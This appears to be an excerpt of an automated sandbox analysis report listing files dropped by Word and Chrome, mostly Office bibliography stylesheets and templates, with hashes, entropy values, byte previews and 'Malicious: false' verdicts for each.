SHA-512:	8A75FC2713003FA40B9730D29C786C76A796F30E6ACE12064468DD2BB4BF97EF26AC43FFE1158AB1DB06FF715D2E6CDE8EF3E8B7C49AA1341603CE122F311073
Malicious:	false
Preview:	<?xml version="1.0" encoding="utf-8"?>............<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:msxsl="urn:schemas-microsoft-com:xslt".xmlns:b="http://schemas.openxmlformats.org/officeDocument/2006/bibliography" xmlns:t="http://www.microsoft.com/temp">...<xsl:output method="html" encoding="us-ascii"/>..........<xsl:template match="*" mode="outputHtml2">.....<xsl:apply-templates mode="outputHtml"/>.....</xsl:template>.....<xsl:template name="StringFormatDot">....<xsl:param name="format" />....<xsl:param name="parameters" />.... <xsl:variable name="prop_EndChars">.. <xsl:call-template name="templ_prop_EndChars"/>.. </xsl:variable>.... <xsl:choose>.....<xsl:when test="$format = ''"></xsl:when>.....<xsl:when test="substring($format, 1, 2) = '%%'">......<xsl:text>%</xsl:text>......<xsl:call-template name="StringFormatDot">.......<xsl:with-param name="format" select="substring($format, 3)" />.......<xsl:with-param name="parameters" select=

C:\Users\user\AppData\Roaming\Microsoft\Templates\LiveContent\16\Managed\Word Document Bibliography Styles\TM02851220[[fn=gosttitle]].xsl (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	XML 1.0 document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	251032
Entropy (8bit):	5.102652100491927
Encrypted:	false
SSDEEP:	6144:hwprA5R95vtfb8p4bgWPwW6/m26AnV9IBgIkqm6HITUZJcjUZS1XkaNPQTlvB2zr:JA
MD5:	F425D8C274A8571B625EE66A8CE60287
SHA1:	29899E309C56F2517C7D9385ECDBB719B9E2A12B
SHA-256:	DD7B7878427276AF5DBF8355ECE0D1FE5D693DF55AF3F79347F9D20AE50DB938
SHA-512:	E567F283D903FA533977B30FD753AA1043B9DDE48A251A9AC6777A3B67667443FEAD0003765A630D0F840B6C275818D2F903B6CB56136BEDCC6D9BDD20776564
Malicious:	false
Preview:	<?xml version="1.0" encoding="utf-8"?>......<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:msxsl="urn:schemas-microsoft-com:xslt".xmlns:b="http://schemas.openxmlformats.org/officeDocument/2006/bibliography" xmlns:t="http://www.microsoft.com/temp">...<xsl:output method="html" encoding="us-ascii"/>..........<xsl:template match="*" mode="outputHtml2">.....<xsl:apply-templates mode="outputHtml"/>.....</xsl:template>.....<xsl:template name="StringFormatDot">....<xsl:param name="format" />....<xsl:param name="parameters" />.... <xsl:variable name="prop_EndChars">.. <xsl:call-template name="templ_prop_EndChars"/>.. </xsl:variable>.... <xsl:choose>.....<xsl:when test="$format = ''"></xsl:when>.....<xsl:when test="substring($format, 1, 2) = '%%'">......<xsl:text>%</xsl:text>......<xsl:call-template name="StringFormatDot">.......<xsl:with-param name="format" select="substring($format, 3)" />.......<xsl:with-param name="parameters" select="$para

C:\Users\user\AppData\Roaming\Microsoft\Templates\LiveContent\16\Managed\Word Document Bibliography Styles\TM02851221[[fn=harvardanglia2008officeonline]].xsl (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	XML 1.0 document, Unicode text, UTF-8 text, with CRLF line terminators
Category:	dropped
Size (bytes):	284415
Entropy (8bit):	5.00549404077789
Encrypted:	false
SSDEEP:	6144:N9G5o7Fv0ZcxrStAtXWty8zRLYBQd8itHiYYPVJHMSo27hlwNR57johqBXlwNR2b:y
MD5:	33A829B4893044E1851725F4DAF20271
SHA1:	DAC368749004C255FB0777E79F6E4426E12E5EC8
SHA-256:	C40451CADF8944A9625DD690624EA1BA19CECB825A67081E8144AD5526116924
SHA-512:	41C1F65E818C2757E1A37F5255E98F6EDEAC4214F9D189AD09C6F7A51F036768C1A03D6CFD5845A42C455EE189D13BB795673ACE3B50F3E1D77DAFF400F4D708
Malicious:	false
Preview:	<?xml version="1.0" encoding="utf-8"?>....<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:msxsl="urn:schemas-microsoft-com:xslt"......xmlns:b="http://schemas.openxmlformats.org/officeDocument/2006/bibliography" xmlns:t="http://www.microsoft.com/temp">.....<xsl:output method="html" encoding="us-ascii"/>.....<xsl:template match="/">....<xsl:call-template name="Start"/>...</xsl:template>.....<xsl:template name="Start">....<xsl:choose>.....<xsl:when test="b:Version">......<xsl:text>2010.2.02</xsl:text>.....</xsl:when>.......<xsl:when test="b:XslVersion">......<xsl:text>2008</xsl:text>.....</xsl:when>.... <xsl:when test="b:StyleNameLocalized">.. <xsl:choose>.. <xsl:when test="b:StyleNameLocalized/b:Lcid='1033'">.. <xsl:text>Harvard - Anglia</xsl:text>.. </xsl:when>.. <xsl:when test="b:StyleNameLocalized/b:Lcid='1025'">.. <xsl:text>Harvard - Anglia</xsl:text>.. </xsl:when>.. <x

C:\Users\user\AppData\Roaming\Microsoft\Templates\LiveContent\16\Managed\Word Document Bibliography Styles\TM02851222[[fn=ieee2006officeonline]].xsl (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	XML 1.0 document, Unicode text, UTF-8 text, with CRLF line terminators
Category:	dropped
Size (bytes):	294178
Entropy (8bit):	4.977758311135714
Encrypted:	false
SSDEEP:	6144:ydkJ3yU0orh0SCLVXyMFsoiOjWIm4vW2uo4hfhf7v3uH4NYYP4BpBaZTTSSamEUD:b
MD5:	0C9731C90DD24ED5CA6AE283741078D0
SHA1:	BDD3D7E5B0DE9240805EA53EF2EB784A4A121064
SHA-256:	ABCE25D1EB3E70742EC278F35E4157EDB1D457A7F9D002AC658AAA6EA4E4DCDF
SHA-512:	A39E6201D6B34F37C686D9BD144DDD38AE212EDA26E3B81B06F1776891A90D84B65F2ABC5B8F546A7EFF3A62D35E432AF0254E2F5BFE4AA3E0CF9530D25949C0
Malicious:	false
Preview:	<?xml version="1.0" encoding="utf-8"?>....<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:msxsl="urn:schemas-microsoft-com:xslt"......xmlns:b="http://schemas.openxmlformats.org/officeDocument/2006/bibliography" xmlns:t="http://www.microsoft.com/temp">.....<xsl:output method="html" encoding="us-ascii"/>.....<xsl:template match="/">....<xsl:call-template name="Start"/>...</xsl:template>.....<xsl:template name="Start">....<xsl:choose>.....<xsl:when test="b:Version">......<xsl:text>2010.2.02</xsl:text>.....</xsl:when>.......<xsl:when test="b:XslVersion">......<xsl:text>2006</xsl:text>.....</xsl:when>.. <xsl:when test="b:StyleNameLocalized">.. <xsl:choose>.. <xsl:when test="b:StyleNameLocalized/b:Lcid='1033'">.. <xsl:text>IEEE</xsl:text>.. </xsl:when>.. <xsl:when test="b:StyleNameLocalized/b:Lcid='1025'">.. <xsl:text>IEEE</xsl:text>.. </xsl:when>.. <xsl:when test="b:StyleNameL

C:\Users\user\AppData\Roaming\Microsoft\Templates\LiveContent\16\Managed\Word Document Bibliography Styles\TM02851223[[fn=iso690]].xsl (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	XML 1.0 document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	270198
Entropy (8bit):	5.073814698282113
Encrypted:	false
SSDEEP:	6144:JwprAiaR95vtfb8pDbgWPzDCvCmvQursq7vImej/yQ4SS1apSiQhHDOruvoVeMUX:We
MD5:	FF0E07EFF1333CDF9FC2523D323DD654
SHA1:	77A1AE0DD8DBC3FEE65DD6266F31E2A564D088A4
SHA-256:	3F925E0CC1542F09DE1F99060899EAFB0042BB9682507C907173C392115A44B5
SHA-512:	B4615F995FAB87661C2DBE46625AA982215D7BDE27CAFAE221DCA76087FE76DA4B4A381943436FCAC1577CB3D260D0050B32B7B93E3EB07912494429F126BB3D
Malicious:	false
Preview:	<?xml version="1.0" encoding="utf-8"?>..<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:msxsl="urn:schemas-microsoft-com:xslt".xmlns:b="http://schemas.openxmlformats.org/officeDocument/2006/bibliography" xmlns:t="http://www.microsoft.com/temp">...<xsl:output method="html" encoding="us-ascii"/>..............<xsl:template match="*" mode="outputHtml2">.....<xsl:apply-templates mode="outputHtml"/>.....</xsl:template>.....<xsl:template name="StringFormatDot">....<xsl:param name="format" />....<xsl:param name="parameters" />.... <xsl:variable name="prop_EndChars">.. <xsl:call-template name="templ_prop_EndChars"/>.. </xsl:variable>.... <xsl:choose>.....<xsl:when test="$format = ''"></xsl:when>.....<xsl:when test="substring($format, 1, 2) = '%%'">......<xsl:text>%</xsl:text>......<xsl:call-template name="StringFormatDot">.......<xsl:with-param name="format" select="substring($format, 3)" />.......<xsl:with-param name="parameters" select="$para

C:\Users\user\AppData\Roaming\Microsoft\Templates\LiveContent\16\Managed\Word Document Bibliography Styles\TM02851224[[fn=iso690nmerical]].xsl (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	XML 1.0 document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	217137
Entropy (8bit):	5.068335381017074
Encrypted:	false
SSDEEP:	6144:AwprA3Z95vtf58pb1WP2DCvCmvQursq7vIme5QyQzSS1apSiQhHDlruvoVeMUwFj:4P
MD5:	3BF8591E1D808BCCAD8EE2B822CC156B
SHA1:	9CC1E5EFD715BD0EAE5AF983FB349BAC7A6D7BA0
SHA-256:	7194396E5C833E6C8710A2E5D114E8E24338C64EC9818D51A929D57A5E4A76C8
SHA-512:	D434A4C15DA3711A5DAAF5F7D0A5E324B4D94A04B3787CA35456BFE423EAC9D11532BB742CDE6E23C16FA9FD203D3636BD198B41C7A51E7D3562D5306D74F757
Malicious:	false
Preview:	<?xml version="1.0" encoding="utf-8"?>..<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:msxsl="urn:schemas-microsoft-com:xslt".xmlns:b="http://schemas.openxmlformats.org/officeDocument/2006/bibliography" xmlns:t="http://www.microsoft.com/temp">...<xsl:output method="html" encoding="us-ascii"/>..........<xsl:template match="*" mode="outputHtml2">.....<xsl:apply-templates mode="outputHtml"/>.....</xsl:template>.....<xsl:template name="StringFormatDot">....<xsl:param name="format" />....<xsl:param name="parameters" />.... <xsl:variable name="prop_EndChars">.. <xsl:call-template name="templ_prop_EndChars"/>.. </xsl:variable>...... <xsl:choose>.....<xsl:when test="$format = ''"></xsl:when>.....<xsl:when test="substring($format, 1, 2) = '%%'">......<xsl:text>%</xsl:text>......<xsl:call-template name="StringFormatDot">.......<xsl:with-param name="format" select="substring($format, 3)" />.......<xsl:with-param name="parameters" select="$parame

C:\Users\user\AppData\Roaming\Microsoft\Templates\LiveContent\16\Managed\Word Document Bibliography Styles\TM02851225[[fn=mlaseventheditionofficeonline]].xsl (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	XML 1.0 document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	254875
Entropy (8bit):	5.003842588822783
Encrypted:	false
SSDEEP:	6144:MwprAnniNgtfbzbOWPuv7kOMBLitjAUjTQLrYHwR0TnyDkHqV3iPr1zHX5T6SSXj:a
MD5:	377B3E355414466F3E3861BCE1844976
SHA1:	0B639A3880ACA3FD90FA918197A669CC005E2BA4
SHA-256:	4AC5B26C5E66E122DE80243EF621CA3E1142F643DD2AD61B75FF41CFEE3DFFAF
SHA-512:	B050AD52A8161F96CBDC880DD1356186F381B57159F5010489B04528DB798DB955F0C530465AB3ECD5C653586508429D98336D6EB150436F1A53ABEE0697AEB9
Malicious:	false
Preview:	<?xml version="1.0" encoding="utf-8"?>......<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:msxsl="urn:schemas-microsoft-com:xslt" xmlns:b="http://schemas.openxmlformats.org/officeDocument/2006/bibliography" xmlns:t="http://www.microsoft.com/temp">...<xsl:output method="html" encoding="us-ascii"/>.....<xsl:template match="*" mode="outputHtml2">.....<xsl:apply-templates mode="outputHtml"/>...</xsl:template>.....<xsl:template name="StringFormatDot">....<xsl:param name="format" />....<xsl:param name="parameters" />......<xsl:variable name="prop_EndChars">.....<xsl:call-template name="templ_prop_EndChars"/>....</xsl:variable>......<xsl:choose>.....<xsl:when test="$format = ''"></xsl:when>.....<xsl:when test="substring($format, 1, 2) = '%%'">......<xsl:text>%</xsl:text>......<xsl:call-template name="StringFormatDot">.......<xsl:with-param name="format" select="substring($format, 3)" />.......<xsl:with-param name="parameters" select="$parameters" />......

C:\Users\user\AppData\Roaming\Microsoft\Templates\LiveContent\16\Managed\Word Document Bibliography Styles\TM02851226[[fn=turabian]].xsl (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	XML 1.0 document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	344303
Entropy (8bit):	5.023195898304535
Encrypted:	false
SSDEEP:	6144:UwprANnsqvtfL/vF/bkWPRMMv7EOMBPitjASjTQQr7IwR0TnyDk1b78plJwf33iD:6
MD5:	F079EC5E2CCB9CD4529673BCDFB90486
SHA1:	FBA6696E6FA918F52997193168867DD3AEBE1AD6
SHA-256:	3B651258F4D0EE1BFFC7FB189250DED1B920475D1682370D6685769E3A9346DB
SHA-512:	4FFFA59863F94B3778F321DA16C43B92A3053E024BDD8C5317077EA1ECC7B09F67ECE3C377DB693F3432BF1E2D947EC5BF8E88E19157ED08632537D8437C87D6
Malicious:	false
Preview:	<?xml version="1.0" encoding="utf-8"?>......<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:msxsl="urn:schemas-microsoft-com:xslt" xmlns:b="http://schemas.openxmlformats.org/officeDocument/2006/bibliography" xmlns:t="http://www.microsoft.com/temp">...<xsl:output method="html" encoding="us-ascii"/>............<xsl:template match="*" mode="outputHtml2">.....<xsl:apply-templates mode="outputHtml"/>.....</xsl:template>.....<xsl:template name="StringFormatDot">....<xsl:param name="format" />....<xsl:param name="parameters" />.... <xsl:variable name="prop_EndChars">.. <xsl:call-template name="templ_prop_EndChars"/>.. </xsl:variable>.... <xsl:choose>.....<xsl:when test="$format = ''"></xsl:when>.....<xsl:when test="substring($format, 1, 2) = '%%'">......<xsl:text>%</xsl:text>......<xsl:call-template name="StringFormatDot">.......<xsl:with-param name="format" select="substring($format, 3)" />.......<xsl:with-param name="parameters" select="$pa

C:\Users\user\AppData\Roaming\Microsoft\Templates\LiveContent\16\Managed\Word Document Bibliography Styles\TM02851227[[fn=sist02]].xsl (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	XML 1.0 document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	250983
Entropy (8bit):	5.057714239438731
Encrypted:	false
SSDEEP:	6144:JwprA6OS95vtfb8p4bgWPzkhUh9I5/oBRSifJeg/yQzvapSiQhHZeruvoXMUw3im:uP
MD5:	F883B260A8D67082EA895C14BF56DD56
SHA1:	7954565C1F243D46AD3B1E2F1BAF3281451FC14B
SHA-256:	EF4835DB41A485B56C2EF0FF7094BC2350460573A686182BC45FD6613480E353
SHA-512:	D95924A499F32D9B4D9A7D298502181F9E9048C21DBE0496FA3C3279B263D6F7D594B859111A99B1A53BD248EE69B867D7B1768C42E1E40934E0B990F0CE051E
Malicious:	false
Preview:	<?xml version="1.0" encoding="utf-8"?>..<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:msxsl="urn:schemas-microsoft-com:xslt".xmlns:b="http://schemas.openxmlformats.org/officeDocument/2006/bibliography" xmlns:t="http://www.microsoft.com/temp">...<xsl:output method="html" encoding="us-ascii"/>..............<xsl:template match="*" mode="outputHtml2">.....<xsl:apply-templates mode="outputHtml"/>.....</xsl:template>.....<xsl:template name="StringFormatDot">....<xsl:param name="format" />....<xsl:param name="parameters" />.... <xsl:variable name="prop_EndChars">.. <xsl:call-template name="templ_prop_EndChars"/>.. </xsl:variable>.... <xsl:choose>.....<xsl:when test="$format = ''"></xsl:when>.....<xsl:when test="substring($format, 1, 2) = '%%'">......<xsl:text>%</xsl:text>......<xsl:call-template name="StringFormatDot">.......<xsl:with-param name="format" select="substring($format, 3)" />.......<xsl:with-param name="parameters" select="$para

C:\Users\user\AppData\Roaming\Microsoft\Templates\LiveContent\16\Managed\Word Document Building Blocks\1033\TM01840907[[fn=Equations]].dotx (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Microsoft Word 2007+
Category:	dropped
Size (bytes):	51826
Entropy (8bit):	5.541375256745271
Encrypted:	false
SSDEEP:	384:erH5dYPCA4t3aEFGiSUDtYfEbi5Ry/AT7/6tHODaFlDSomurYNfT4A0VIwWNS89u:Q6Cbh9tENyWdaFUSYNfZS89/3qtEu
MD5:	2AB22AC99ACFA8A82742E774323C0DBD
SHA1:	790F8B56DF79641E83A16E443A75A66E6AA2F244
SHA-256:	BC9D45D0419A08840093B0BF4DCF96264C02DFE5BD295CD9B53722E1DA02929D
SHA-512:	E5715C0ECF35CE250968BD6DE5744D28A9F57D20FD6866E2AF0B2D8C8F80FEDC741D48F554397D61C5E702DA896BD33EED92D778DBAC71E2E98DCFB0912DE07B
Malicious:	false
Preview:	PK.........R.@c}LN4...........[Content_Types].xml ...(.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................`.I.%&/m.{.J.J..t...`.$.@........iG#)...eVe]f.@....{...{...;.N'...?\fd.l..J..!....?~\|.?"....\|.{.[..e^7E......Gi..V.by..G..\|.......U..t.\|..mW...m..\|.5.j./..^d-.Y_.]e..E~wog...j...v......?..u....c.....D....>.V...f-}..r9....=..Mn..U..5.(.....a...E..b......w.$...,O_fu."[P..WU=.;.....5..wdt..y1.......i.44-.r....;./.biG.Cd.n.j.{/......V....c..^^.E.H?H.........B.........<...Ae.l.]..{....mK......B....

C:\Users\user\AppData\Roaming\Microsoft\Templates\LiveContent\16\Managed\Word Document Building Blocks\1033\TM02835233[[fn=Text Sidebar (Annual Report Red and Black design)]].docx (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Microsoft Word 2007+
Category:	dropped
Size (bytes):	47296
Entropy (8bit):	6.42327948041841
Encrypted:	false
SSDEEP:	768:ftjI1BT8N37szq00s7dB2wMVJGHR97/RDU5naXUsT:fJIPTfq0ndB2w1bpsE
MD5:	5A53F55DD7DA8F10A8C0E711F548B335
SHA1:	035E685927DA2FECB88DE9CAF0BECEC88BC118A7
SHA-256:	66501B659614227584DA04B64F44309544355E3582F59DBCA3C9463F67B7E303
SHA-512:	095BD5D1ACA2A0CA3430DE2F005E1D576AC9387E096D32D556E4348F02F4D658D0E22F2FC4AA5BF6C07437E6A6230D2ABF73BBD1A0344D73B864BC4813D60861
Malicious:	false
Preview:	PK........<dSA4...T...P.......[Content_Types].xml ...(........................................................................................................................................................................................................................................................................................................................................................................................................................................`.I.%&/m.{.J.J..t...`.$.@........iG#).*..eVe]f.@....{...{...;.N'...?\fd.l..J..!....?~\|.?"....\|.{.[..e^7E......Gi..V.by..G..\|.......U..t.\|..mW...m..\|.5.j./..^d-.Y_.]e..E~wog...j...v......?..u....c...W..G.4D_.}T,.@...}....R.Z..4k.....Y..mEkLor.f^..O..P...`..^\-o..D....n_d.jq...gwg.t........:?/..}..Vu5...rQ..7..X.Q."./g..o....f....YB......<..w?...ss..e.4Y}}...0.Y...........u3V.o..r...5....7bA..Us.z.`.r(.Y>.&DVy.........6.T...e.\|..g.%<...9a.&...7...}3:B.......<...!...:..7w...y..

C:\Users\user\AppData\Roaming\Microsoft\Templates\LiveContent\16\Managed\Word Document Building Blocks\1033\TM03998158[[fn=Element]].dotx (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Microsoft Word 2007+
Category:	dropped
Size (bytes):	34415
Entropy (8bit):	7.352974342178997
Encrypted:	false
SSDEEP:	768:ev13NPo9o5NGEVIi3kvH+3SMdk7zp3tE2:ev13xoOE+R3BkR7
MD5:	7CDFFC23FB85AD5737452762FA36AAA0
SHA1:	CFBC97247959B3142AFD7B6858AD37B18AFB3237
SHA-256:	68A8FBFBEE4C903E17C9421082E839144C205C559AFE61338CBDB3AF79F0D270
SHA-512:	A0685FD251208B772436E9745DA2AA52BC26E275537688E3AB44589372D876C9ACE14B21F16EC4053C50EB4C8E11787E9B9D922E37249D2795C5B7986497033E
Malicious:	false
Preview:	PK.........Y5B#.W ............[Content_Types].xml ...(...................................................................................................................................................................................................................................................................................................................................................................................................................................................`.I.%&/m.{.J.J..t...`.$.@........iG#)...eVe]f.@....{...{...;.N'...?\fd.l..J..!....?~\|.?"....\|.{.[..e^7E......Gi..V.by..G..\|.......U..t.\|..mW...m..\|.5.j./..^d-.Y_.]e..E~wog...j...v......?..u....c.....D....>.V...f-}..r9....=..Mn..U..5.(.....a...E..b......w.$...,O_fu."[P..WU=.;.....5..wdt..y1.......i.44-.r....;./.biG=.HK...........&o[B....z.7.o...&.......[.oL_7cuN..&e..ccAo...YW......8...Y>.&DVy...-&....Y.....4.u.., !po....9W....g..F...+1....d,'...L.M[-~.Ey. ......[

C:\Users\user\AppData\Roaming\Microsoft\Templates\LiveContent\16\Managed\Word Document Building Blocks\1033\TM03998159[[fn=Insight]].dotx (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Microsoft Word 2007+
Category:	dropped
Size (bytes):	3465076
Entropy (8bit):	7.898517227646252
Encrypted:	false
SSDEEP:	98304:n8ItVaN7vTMZ9IBbaETXbI8ItVaN7vTMZ9IBbaEiXbY:8ItwNX9BvTvItwNX9BvoM
MD5:	8BC84DB5A3B2F8AE2940D3FB19B43787
SHA1:	3A5FE7B14D020FAD0E25CD1DF67864E3E23254EE
SHA-256:	AF1FDEEA092169BF794CDC290BCA20AEA07AC7097D0EFCAB76F783FA38FDACDD
SHA-512:	558F52C2C79BF4A3FBB8BB7B1C671AFD70A2EC0B1BDE10AC0FED6F5398E53ED3B2087B38B7A4A3D209E4F1B34150506E1BA362E4E1620A47ED9A1C7924BB9995
Malicious:	false
Preview:	PK.........Y5B................[Content_Types].xml ...(.................................................................................................................................................................................................................................................................................................................................................................................................................................................`.I.%&/m.{.J.J..t...`.$.@........iG#).*..eVe]f.@....{...{...;.N'...?\fd.l..J..!....?~\|.?"....\|.{.[..e^7E......Gi..V.by..G..\|.......U..t.\|..mW...m..\|.5.j./..^d-.Y_.]e..E~wog...j...v......?..u....c...W..G.4D_.}T,.@...}....R.Z..4k.....Y..mEkLor.f^..O..P...`..^.....g.../i..b../..}.-......U.....o.7B.......}@[..4o...E9n..h...Y....D.%......F....g..-!.\|p.....7.pQVM.....B.g.-.7....:...d.2...7bA..Us.z.`.r..,.m."..n....s.O^.....fL.........7.....-...gn,J..iU..$.......i...(..dz.....3\|

C:\Users\user\AppData\Roaming\Microsoft\Templates\Normal.dotm (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Microsoft Word 2007+
Category:	dropped
Size (bytes):	19353
Entropy (8bit):	7.46873344990292
Encrypted:	false
SSDEEP:	384:Jrt+BNxt/ZtNNUQT8cwodMuMlH8xCEBPWnYQ9Cwmf:VAxllNJw9fY+YRf
MD5:	46B0F5EE803D14DE84E6037CDFECA32D
SHA1:	74C919D17920F43F58353A557DE6FC4372E380BF
SHA-256:	601BC03E72CC0C1F4CE1A18AB051133A7867E949569B7BEE95B6FA3EB10B1030
SHA-512:	7B31E20AFAD433179411C4715E38BE659A226E2CD6D4C2117B484D36975DC32A8360F6FCC854CAB80A003BF0245E058E9A0B197ED2E6AC589BBB21CD6BFCECF3
Malicious:	false
Preview:	PK..........!.Q3.p............[Content_Types].xml ...(.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................N.0.E.H.C.-J\X ......J..0....K......H...R.D.g..3.H....M!`.l.....J.j;...>.b.Fa...B....wz...<`F..K6.._s.r.F`.<X.T....7....U.._t:.\:...<&....A%&:f.9..H.hd..*1y.Lx.k)".........e..k.g.....)....&......A...3..WNN.U..e...<....'4(.....x.....nh.t.....p7..j..s...I@.w6.X..C.Tp...r+..^..F.N...".az...h.[!F.!...g...i"...C..n9.~l...3.....H..V..9.2.,)s..GZD..mo6M..a.!...q$.......O..r-.........PK..........!.........N......

C:\Users\user\AppData\Roaming\Microsoft\Templates\~$Normal.dotm

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	data
Category:	dropped
Size (bytes):	162
Entropy (8bit):	3.6389941444040685
Encrypted:	false
SSDEEP:	3:klt+lllklmQ93dHh6JNtqdSl/g4V1peThkn:7tkx9tHaNtmSJ/8Nkn
MD5:	5F9D166576977B8D3A085C4779420A8E
SHA1:	DA38EB680128A816DB975927CD2E66761968DBF8
SHA-256:	96D78FF69C0C5C870CC2E9953CBCA3C62B05533EAD68B05E32EB6DF39078B823
SHA-512:	2C1896285E6D4B45B4FFC261664027F81B482B3CD25BE776FB710F945C385537D0CEE24494E99812548E9D65C3C49C8BF8655DD54FACD4FCD4F3F1FD49F52E5E
Malicious:	false
Preview:	.user.................................................a.l.f.o.n.s............5.......4..Xz5kM..........i.....5.......E..@...@..@..M...........@...5...4...E..

C:\Users\user\AppData\Roaming\Microsoft\Templates\~WRD0000.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Microsoft Word 2007+
Category:	dropped
Size (bytes):	19353
Entropy (8bit):	7.46873344990292
Encrypted:	false
SSDEEP:	384:Jrt+BNxt/ZtNNUQT8cwodMuMlH8xCEBPWnYQ9Cwmf:VAxllNJw9fY+YRf
MD5:	46B0F5EE803D14DE84E6037CDFECA32D
SHA1:	74C919D17920F43F58353A557DE6FC4372E380BF
SHA-256:	601BC03E72CC0C1F4CE1A18AB051133A7867E949569B7BEE95B6FA3EB10B1030
SHA-512:	7B31E20AFAD433179411C4715E38BE659A226E2CD6D4C2117B484D36975DC32A8360F6FCC854CAB80A003BF0245E058E9A0B197ED2E6AC589BBB21CD6BFCECF3
Malicious:	false
Preview:	PK..........!.Q3.p............[Content_Types].xml ...(.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................N.0.E.H.C.-J\X ......J..0....K......H...R.D.g..3.H....M!`.l.....J.j;...>.b.Fa...B....wz...<`F..K6.._s.r.F`.<X.T....7....U.._t:.\:...<&....A%&:f.9..H.hd..*1y.Lx.k)".........e..k.g.....)....&......A...3..WNN.U..e...<....'4(.....x.....nh.t.....p7..j..s...I@.w6.X..C.Tp...r+..^..F.N...".az...h.[!F.!...g...i"...C..n9.~l...3.....H..V..9.2.,)s..GZD..mo6M..a.!...q$.......O..r-.........PK..........!.........N......

C:\Users\user\AppData\Roaming\Microsoft\UProof\CUSTOM.DIC

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	18
Entropy (8bit):	2.836591668108979
Encrypted:	false
SSDEEP:	3:QETlbol9:QEiv
MD5:	5FFBAD261CA1D087BDEA2DAA185561A0
SHA1:	A961E6EBC140F64BC9CBD47EB820DF77764969AB
SHA-256:	2FFE94EBE8D67CD72EE7F1D088DA8AC1B6BA2EBAB80463CC38AC10617ADF933B
SHA-512:	DE56BFA3EF7EB40E7D40CCEC2A99795CEEEB708F7D2E47520A6F82AAC3A72D69F4887BF3C515FB0C0136AF6D04DC90E4CBF4A704E13561EC3171373ABAE1D73A
Malicious:	false
Preview:	..a.l.f.o.n.s.....

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Docs.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Mon Oct 7 18:53:06 2024, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2677
Entropy (8bit):	3.9833445246513643
Encrypted:	false
SSDEEP:	48:89d7Tj7dcH0UidAKZdA19ehwiZUklqehGy+3:8rbRyty
MD5:	4CE5B51A05B404014BCE3876CCEEF83F
SHA1:	DE71ECF6C21A986B9AFA64A2B9FE1920D812CDC5
SHA-256:	0CE32EE73C5A46569F438F173B7638FF6DC0EDEDEFC8309C822A6E8B782B1051
SHA-512:	D73C2F0B260679FCE7D7901B2040375B03AED783C64F8CC3FB14CF97F2E5D5C6FA6BC6921F5346C43CF1B8C924B59B6B2BD39544EEFEF782FBA1E6ABA9FCF694
Malicious:	false
